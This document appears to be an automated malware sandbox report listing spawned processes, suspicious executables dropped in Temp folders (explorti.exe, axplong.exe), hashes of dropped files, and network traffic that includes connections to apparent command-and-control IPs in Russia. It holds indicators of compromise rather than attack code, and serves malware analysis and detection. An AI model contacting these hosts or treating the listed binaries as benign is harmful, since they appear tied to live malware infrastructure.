"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,10922246636206174699,10285874768940626983,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3028 -childID 1 -isForBrowser -prefsHandle 3040 -prefMapHandle 3056 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3a24bec2-39cc-4e64-ab97-f6828de6174c} 4300 "\\.\pipe\gecko-crash-server-pipe.4300" tab

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3724 -childID 2 -isForBrowser -prefsHandle 3256 -prefMapHandle 2932 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ad393689-5512-4cc5-8850-53f29d380d92} 4300 "\\.\pipe\gecko-crash-server-pipe.4300" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4264 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4252 -prefMapHandle 4152 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dbac08f9-a6a9-4ba1-86f0-9347ed58a207} 4300 "\\.\pipe\gecko-crash-server-pipe.4300" utility

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,10922246636206174699,10285874768940626983,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4140 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3132,i,5111545092435053062,17168723246816221982,262144 --variations-seed-version=20240730-050116.493000 --mojo-platform-channel-handle=3196 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3140,i,5111545092435053062,17168723246816221982,262144 --variations-seed-version=20240730-050116.493000 --mojo-platform-channel-handle=3220 /prefetch:1

C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5400 -childID 3 -isForBrowser -prefsHandle 5392 -prefMapHandle 5312 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9292ae15-9379-4c96-8efc-321e7b0e49a9} 4300 "\\.\pipe\gecko-crash-server-pipe.4300" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5620 -childID 4 -isForBrowser -prefsHandle 5540 -prefMapHandle 5544 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0ab6f04d-b3cc-4d71-a539-d8c3fb0bec13} 4300 "\\.\pipe\gecko-crash-server-pipe.4300" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5416 -childID 5 -isForBrowser -prefsHandle 5752 -prefMapHandle 5756 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {97dc6cd7-6846-41a6-9cd9-c87568c7ba81} 4300 "\\.\pipe\gecko-crash-server-pipe.4300" tab

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

"C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"

C:\Users\Admin\1000029002\e1bdee8355.exe

"C:\Users\Admin\1000029002\e1bdee8355.exe"

C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe

"C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5288 -ip 5288

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5288 -s 1284

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

"C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=844,i,5111545092435053062,17168723246816221982,262144 --variations-seed-version=20240730-050116.493000 --mojo-platform-channel-handle=4628 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,10922246636206174699,10285874768940626983,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1460 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
RU 185.215.113.19:80 185.215.113.19 tcp
RU 185.215.113.16:80 185.215.113.16 tcp
US 8.8.8.8:53 19.113.215.185.in-addr.arpa udp
US 8.8.8.8:53 16.113.215.185.in-addr.arpa udp
US 8.8.8.8:53 www.youtube.com udp
FR 142.250.179.110:443 www.youtube.com tcp
US 8.8.8.8:53 consent.youtube.com udp
FR 172.217.18.206:443 consent.youtube.com tcp
US 8.8.8.8:53 spocs.getpocket.com udp
US 8.8.8.8:53 www.youtube.com udp
FR 216.58.214.174:443 www.youtube.com tcp
FR 216.58.214.174:443 www.youtube.com tcp
US 8.8.8.8:53 youtube-ui.l.google.com udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 shavar.prod.mozaws.net udp
US 8.8.8.8:53 autopush.prod.mozaws.net udp
FR 216.58.214.174:443 youtube-ui.l.google.com udp
US 8.8.8.8:53 prod.ads.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 youtube-ui.l.google.com udp
US 8.8.8.8:53 shavar.prod.mozaws.net udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 autopush.prod.mozaws.net udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 consent.youtube.com udp
FR 172.217.18.206:443 consent.youtube.com tcp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 consent.youtube.com udp
US 8.8.8.8:53 110.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 206.18.217.172.in-addr.arpa udp
US 8.8.8.8:53 174.214.58.216.in-addr.arpa udp
US 8.8.8.8:53 firefox-api-proxy.cdn.mozilla.net udp
US 8.8.8.8:53 prod.ads.prod.webservices.mozgcp.net udp
FR 172.217.18.206:443 consent.youtube.com udp
US 34.149.97.1:443 firefox-api-proxy.cdn.mozilla.net udp
US 34.149.97.1:443 firefox-api-proxy.cdn.mozilla.net tcp
US 8.8.8.8:53 firefox-api-proxy-prod.pocket.prod.cloudops.mozgcp.net udp
FR 142.250.179.110:443 youtube-ui.l.google.com tcp
US 8.8.8.8:53 firefox-api-proxy-prod.pocket.prod.cloudops.mozgcp.net udp
FR 172.217.18.206:443 consent.youtube.com tcp
US 8.8.8.8:53 120.139.112.50.in-addr.arpa udp
US 8.8.8.8:53 42.215.58.216.in-addr.arpa udp
US 8.8.8.8:53 227.74.250.142.in-addr.arpa udp
US 8.8.8.8:53 67.214.58.216.in-addr.arpa udp
US 8.8.8.8:53 234.75.250.142.in-addr.arpa udp
US 8.8.8.8:53 www.google.com udp
FR 172.217.20.196:443 www.google.com tcp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 www.google.com udp
FR 172.217.20.196:443 www.google.com udp
US 8.8.8.8:53 67.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 196.20.217.172.in-addr.arpa udp
FR 172.217.20.196:443 www.google.com tcp
FR 172.217.20.196:443 www.google.com tcp
N/A 224.0.0.251:5353 udp
RU 85.28.47.31:80 85.28.47.31 tcp
US 8.8.8.8:53 31.47.28.85.in-addr.arpa udp
RU 185.215.113.16:80 185.215.113.16 tcp
N/A 127.0.0.1:57240 tcp
N/A 127.0.0.1:57255 tcp
US 8.8.8.8:53 prod.balrog.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 prod.balrog.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 ciscobinary.openh264.org udp
US 8.8.8.8:53 a19.dscg10.akamai.net udp
GB 88.221.134.155:80 a19.dscg10.akamai.net tcp
US 8.8.8.8:53 a19.dscg10.akamai.net udp
US 8.8.8.8:53 redirector.gvt1.com udp
FR 216.58.214.174:443 redirector.gvt1.com tcp
US 8.8.8.8:53 redirector.gvt1.com udp
US 8.8.8.8:53 redirector.gvt1.com udp
FR 216.58.214.174:443 redirector.gvt1.com udp
US 8.8.8.8:53 r1---sn-aigzrnsr.gvt1.com udp
GB 74.125.175.38:443 r1---sn-aigzrnsr.gvt1.com tcp
US 8.8.8.8:53 r1.sn-aigzrnsr.gvt1.com udp
US 8.8.8.8:53 201.181.244.35.in-addr.arpa udp
US 8.8.8.8:53 155.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 r1.sn-aigzrnsr.gvt1.com udp
GB 74.125.175.38:443 r1.sn-aigzrnsr.gvt1.com udp
US 8.8.8.8:53 38.175.125.74.in-addr.arpa udp
US 8.8.8.8:53 firefox-settings-attachments.cdn.mozilla.net udp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 8.8.8.8:53 attachments.prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 attachments.prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.balrog.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 play.google.com udp
FR 142.250.201.174:443 play.google.com tcp
US 8.8.8.8:53 play.google.com udp
US 8.8.8.8:53 play.google.com udp
FR 142.250.201.174:443 play.google.com udp
US 8.8.8.8:53 174.201.250.142.in-addr.arpa udp
FR 142.250.201.174:443 play.google.com tcp
FR 142.250.201.174:443 play.google.com tcp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
FR 172.217.18.206:443 consent.youtube.com udp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp
FR 172.217.18.206:443 consent.youtube.com udp

Files

memory/3176-0-0x00000000005E0000-0x0000000000A9C000-memory.dmp

memory/3176-1-0x0000000077BC4000-0x0000000077BC6000-memory.dmp

memory/3176-2-0x00000000005E1000-0x000000000060F000-memory.dmp

memory/3176-3-0x00000000005E0000-0x0000000000A9C000-memory.dmp

memory/3176-4-0x00000000005E0000-0x0000000000A9C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

MD5 315c411d1c4b516df9aead3d0880d016
SHA1 01f5dfd8e6b9a28528e4b0106cf9898c4794bac4
SHA256 c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28
SHA512 7d1b4bbba8fe34a879f99ef4749b29a4717d5af89110783771029c2f05961ed50f81f95df04b83618f9848f2f8e094a829f7e3759d963652177ba2b322263d56

memory/3176-15-0x00000000005E0000-0x0000000000A9C000-memory.dmp

memory/1580-17-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/1580-18-0x00000000000D1000-0x00000000000FF000-memory.dmp

memory/1580-19-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/1580-20-0x00000000000D0000-0x000000000058C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000020001\000e8df3a7.exe

MD5 162df2ad410933832d7016d5e213edc8
SHA1 6bd5e2db70dac611d87ecac403c72ca66800890a
SHA256 6926099d47358b3729226b09fe1ad79e1c41588804e2642b286ad5393e02e1cd
SHA512 77583ccea4de3d306c4e8ebaec67ae2569aae0da63d87e692d2d1f3f326dfa8b6f49297bf97d62bb09ba8bdeebe3835adbb26765e580b9a83d11ec68a0270cbe

C:\Users\Admin\AppData\Local\Temp\94AE.tmp\94AF.tmp\94B0.bat

MD5 de9423d9c334ba3dba7dc874aa7dbc28
SHA1 bf38b137b8d780b3d6d62aee03c9d3f73770d638
SHA256 a1e1b422c40fb611a50d3f8bf34f9819f76ddb304aa2d105fb49f41f57752698
SHA512 63f13acd904378ad7de22053e1087d61a70341f1891ada3b671223fec8f841b42b6f1060a4b18c8bb865ee4cd071cadc7ff6bd6d549760945bf1645a1086f401

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 94c981336abc388ca817dab46e7fc547
SHA1 2d0f8d89a31adb0aad5c599a195ff40ecf4b161f
SHA256 4d44efbb5447fedc3cb21311290fe6a9d0e5a0e682387a1a341bd214df820ef2
SHA512 f1c9c98f6642ea3b90c8667a4871d5a3b8c05eb0c50d5dc31e32704e0eeca1d33add414df485aced130523d6be824c48e37d0022b4d58db60006efe3e337fdbc

\??\pipe\crashpad_2832_MHJPMHPBRACPQGNX

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 b55d2d2ff2a4d5d7eeaff5ebb96f3b4a
SHA1 12d94b9e84142b10d6347a2ff3b634a20f692c7a
SHA256 3d249eae36cfc3837b043e4b8df670724fee5657b302c77d488f1da3d835f776
SHA512 4dc2fe1eeaca5f9c91d548c70a44ffd12b806a385e22a3c5f724b6f749a15c9ccb3ac1a752c63225bd4d1d90f2b25d8004a15d3912ca6a3cb92fcba91248626f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 4e89790f67658fe2a32df3da54cd0cdb
SHA1 92725cd784d50329eb086c3f2fabe44bc20ab006
SHA256 7e18ee18e73f99ee297e6f06b27bac741bebb2a44d9772a8662865cea32c2506
SHA512 328c7324fdbbf934c4fff047cf0581fd5d24d923ac56b881f48e5ff92ea03b49360c2eea2310b66411c54120e9d7674078b310f96738799aeefe91a65ab16d1e

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\23yzs2h6.default-release\datareporting\glean\pending_pings\0fd3eea4-2dcb-47a8-a296-71585b1be0ec

MD5 3069ccfe1f7bef46678fcadf8a4311dd
SHA1 a39761d7077e920568908663fd12f6a5a00d19cb
SHA256 fad29a841bbc09053ae44b0c651923b70c758e42344db3391e764852586396b0
SHA512 d40ae5a94213e8d59fcad56a3caa013a4888b075d5f322b7ddbde18847057dc36e0d1f05f5a81ceb032b73b950c19975500275e81ab3a284686fac2cda2274ea

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\23yzs2h6.default-release\datareporting\glean\pending_pings\f0ea17f4-0933-407a-b762-250b6ca52749

MD5 ebf2a37475d00cea50e5e1bb548be455
SHA1 1529a98c79cf189f6273d3cf2a9f8f3e3eb7d58f
SHA256 8c33abf1ff4c7b16517ea7ff53c4347acb2eb3ccfd54f47155247fd8fb7d070f
SHA512 bb71642d624080aa49f0e8abb809a3d6a42a8579fbaab4b04e1ca97abb545bd3f1ac05fe52aa9633d8caadee4cfce9d5b8217f1fc0cd203888a93c4bb65076ff

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\23yzs2h6.default-release\datareporting\glean\pending_pings\06a07fa5-4f4b-446e-866c-7a10102e9b14

MD5 3a81b47519d0d49918e10754be72faa3
SHA1 ce950463644b2548bf408e068a72c1a415111177
SHA256 097b4b61a296fbde6abd4c5f20941ef5874191809cb75f4e2cacab4e69e4fe16
SHA512 301a6b5f9ae79d0ebb85fe2c5f0cc8c5473f0d896362f1c32b6307c17908ae66e04cf62ab64b4234e3ed53585235a8ef7839384ea2ee54191b1533fb8e1cd4cc

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\23yzs2h6.default-release\datareporting\glean\db\data.safe.tmp

MD5 6366b9cff3219e4e3283768c36caa738
SHA1 5100f5d913db589bde8d69d642d4e557d4b954e6
SHA256 6102e97214da31625b2811becbe3768641fe50116c27c95f02c2638236d85f99
SHA512 26b5b7f9d2c14dd6e333bb0c076aa03d05226497a59b1f74ed80134f4e7e018a6978acf40267516a5c9e5b63af28a3393455c45dbea09fc61aa966cad5a13209

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\23yzs2h6.default-release\activity-stream.discovery_stream.json.tmp

MD5 091bee77dd4dd902ba9d82700f057471
SHA1 49e4f52adeee2738d3c56b2f7818d84600e78e7b
SHA256 4a40fdc99266eedc4bede2c27301c88244a975184dc69faf9c45ceb651175c1f
SHA512 1fc87114de8a709c5f8c19beeee409474a006df3f9da14c9b0cce1d65da404d1cbf1bc2d2a0d00ec71fc23f6f5735a6951ac33d4e17b2089e176d68f7dde7f90

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\23yzs2h6.default-release\AlternateServices.bin

MD5 f93c5dc0b7c9704ae3021d4f3a2ea760
SHA1 f95e7ba9f767391c13af37faaab155733bbdf12a
SHA256 fcb5b494956d6053792283dc026511240c5bdfe76e3b82e37729605bcddf535b
SHA512 37ea959e48c79f3b5d4bcdee2cee48fc75550859e579d945ed0f73cdd9a17aeaf75e1737d4505aaed87d3e1c1aadfd4beb92c99fc17b13aaabcab78735bb3fc8

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\23yzs2h6.default-release\prefs.js

MD5 6ffb10e824cef2a9e7083554f53f70e2
SHA1 a494ae9b68c8a93ceafe8e16c64902ecf80f2c7e
SHA256 79c2df5485f9386472fa6885f01577ce43531367cbad2c271ebc7a827f51411c
SHA512 9b63767ecc9bd52429e560d52c810a6a78ea4c2f57ae6551476888cbafea5f279f2b2e9ed5443a30ba0acb22b9dd62b82e265b02b155ba0b4429d7cfac639d92

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\23yzs2h6.default-release\AlternateServices.bin

MD5 b0249afb4081dd6410fdd7fef4477cf9
SHA1 23e9239e0ad5b0df5f53d98a3bea2d1b58574b28
SHA256 59764f9370af5821dacfea9b749de3c370802738dedeac27491a63fafd3db9d0
SHA512 b0bac9a54ee34d7c1322bb3a2467f6b9f3187b57f4052a7031faecad30a557f0ecf6d79120b9c3f0a678c54301763cf2ae4c5c333ebf8a8691f413460af10aae

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000005

MD5 8ad98b9733d7cb5dba046cb0622b8623
SHA1 ac19b48fcd3bd8d632b9c8b654fe6349d2eba513
SHA256 d1a0b50df2150a0ac812bbdbb3a61f4f85dc9c226ec918464bf6d51e4a6ccc2d
SHA512 65f7befc24a499d72b07ceef592e49ba3c7b8a55a5c4b651e7fdaad61418bd8167b1950faef7c275bea997dde94b25461f1fd5000985d7a19f38cc75907a37e8

C:\Users\Admin\1000029002\e1bdee8355.exe

MD5 82a67973712487c52e18c518c276725f
SHA1 50912df955d605d4627ebf7b0a646d43bc0392e3
SHA256 448b790b8681758f804617a226a995ebd9377d16b1d82d90b210bb82ef93ff7a
SHA512 e00c403c49c116f93d20c10d53e4ccfaac3f3966280da32f6f997de4c87cf6952afbd8d162aed34ecf180db481a2cd2958690a8c0eb4644dcf12dd196f354754

memory/5288-491-0x0000000000400000-0x00000000031DC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe

MD5 6d9d932ae6f9643f08fd2461247684dc
SHA1 b5a6bf4e80e97109f62ea6b7358c29e0f405dffb
SHA256 3535c4993590cafe9b57f30b6c61f9320aff5025321e645eda50226b60e75a32
SHA512 e8be9a4be0f14eaaf95102f7b815b1ca2066e0a0b119055d9035f3b9641f233490f808e5804422d7d12695e8653ba6e366470988e2dbf576ee4d1bd0ecde4709

memory/1580-514-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/5776-515-0x0000000000180000-0x0000000000634000-memory.dmp

memory/6192-528-0x0000000000500000-0x00000000009B4000-memory.dmp

memory/5776-529-0x0000000000180000-0x0000000000634000-memory.dmp

memory/5288-531-0x0000000000400000-0x00000000031DC000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

MD5 c5f1922b02e73c873e61f4659edffff9
SHA1 24b5867afeb1eed461c4f81a872dda0516993b85
SHA256 4e03bfb48abbcca58ddc9f577e331f158375cd54860a3405ee188c625738c813
SHA512 6fa9b13dc4a67c314af8a36b29cc84f0238715d15307117daba59955f37dbaa9200816fb05458920ae88440ff96f3066a5fedefca73a8bdd8eb274463e8d937a

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 ed6484d88d80b0ea86a7b83aa2250c2c
SHA1 6efae3bf6b4fef22795e0e908cc1c8f70e35de19
SHA256 90a2126f3f6c95b6b23a6b422dfb3b98ff408b250669fbada89052e4f1c3eabb
SHA512 4c3cedd59ccd937a43ba754dfa276c0b23f2f5024eb316f1a23033f168b3ae15c4d76f068a2af87c7b49bd8f1e280b1537b65c9d04afaf8b4e4024eb2196a64c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 c8b5f3e29dc9179ef9e016c584ff62cb
SHA1 b7eedf0452aafdbadddc401f6445215e2f6cc009
SHA256 61fe85f65749b5f1cbb98c95a3ce658470f2752afceda7b27b7eefaaa313cc69
SHA512 12bc375164b6a42602a1fe1876e88abc90d83a4eea4c3553e89fdf5a36d8be68fcc382aaa1cfb3ab0e0a5a3487c2a1dd1928cfdc4eb4c7976b4c248fa9930ae6

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 ffa313511c38e091365876c146618cf7
SHA1 7e04b1f8c69b5680be2261737ae42bf959816aa8
SHA256 df3beacd02f1944c6fd1b48661586bd9ae13ff7926e4fb5b8fad9075da5a0fa4
SHA512 1f0ac42f98dec1a02c8a43743c21e36539f7e9c5faa9e6ad12545c1e000e3a8c0764f2678d5aab3ba74231c02a909976de793de948d5ea92bca53a8086091a9f

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

MD5 aa2e94308f2fecb40ed91f3961c37d3f
SHA1 c03173610f7b4f45fe105add046e6226bc971a24
SHA256 75f1203f323021666007bfbee78106be04a8006e0ecabba96892e1c80ee8b764
SHA512 803dce3aaf4e3a6eb12f6281fe1651ff775e4498cf28763ea0c541d3c3ae796bc31387fb084aab1a344fddc01de0e8a4f153d5cfaa35940b3e17653d23c10117

memory/1580-569-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/1580-570-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/1580-571-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/6192-576-0x0000000000500000-0x00000000009B4000-memory.dmp

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\23yzs2h6.default-release\datareporting\glean\db\data.safe.tmp

MD5 31696b8558106590cccb0ec55a37445a
SHA1 0e0854479ec57a09cafa6d215ec19a43fa5208d2
SHA256 9470e6c8de73d57d1dd8c9d3fa194f95fef042d89531178a3a9a0be8ec5d7268
SHA512 ae2c89d4e47c8c09fb2ada210759df2ab76702dc3e0d3d9bf05207660dd678e5813b6d09b3723513a45bafa5944a24b86c2b46a67daf7d6ce37ab098af3c512a

C:\Users\Admin\AppData\Local\Temp\tmpaddon

MD5 09372174e83dbbf696ee732fd2e875bb
SHA1 ba360186ba650a769f9303f48b7200fb5eaccee1
SHA256 c32efac42faf4b9878fb8917c5e71d89ff40de580c4f52f62e11c6cfab55167f
SHA512 b667086ed49579592d435df2b486fe30ba1b62ddd169f19e700cd079239747dd3e20058c285fa9c10a533e34f22b5198ed9b1f92ae560a3067f3e3feacc724f1

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\23yzs2h6.default-release\gmp-gmpopenh264\2.3.2\gmpopenh264.info

MD5 2a461e9eb87fd1955cea740a3444ee7a
SHA1 b10755914c713f5a4677494dbe8a686ed458c3c5
SHA256 4107f76ba1d9424555f4e8ea0acef69357dfff89dfa5f0ec72aa4f2d489b17bc
SHA512 34f73f7bf69d7674907f190f257516e3956f825e35a2f03d58201a5a630310b45df393f2b39669f9369d1ac990505a4b6849a0d34e8c136e1402143b6cedf2d3

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\23yzs2h6.default-release\gmp-gmpopenh264\2.3.2\gmpopenh264.dll

MD5 842039753bf41fa5e11b3a1383061a87
SHA1 3e8fe1d7b3ad866b06dca6c7ef1e3c50c406e153
SHA256 d88dd3bfc4a558bb943f3caa2e376da3942e48a7948763bf9a38f707c2cd0c1c
SHA512 d3320f7ac46327b7b974e74320c4d853e569061cb89ca849cd5d1706330aca629abeb4a16435c541900d839f46ff72dfde04128c450f3e1ee63c025470c19157

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\23yzs2h6.default-release\cache2\entries\8A2034D325DC0B5C9E11EDDA3FC70A54C8DC1C0D

MD5 f7f90c737963b82f4ee72075952fe90f
SHA1 5cbcdf73e7c9e03e3bb796d5e1c3ae432e8cf0a2
SHA256 8c19fdfae3f2dc2688cce7d904fcccdf06eabf9c61e3caf977a2803f49db603b
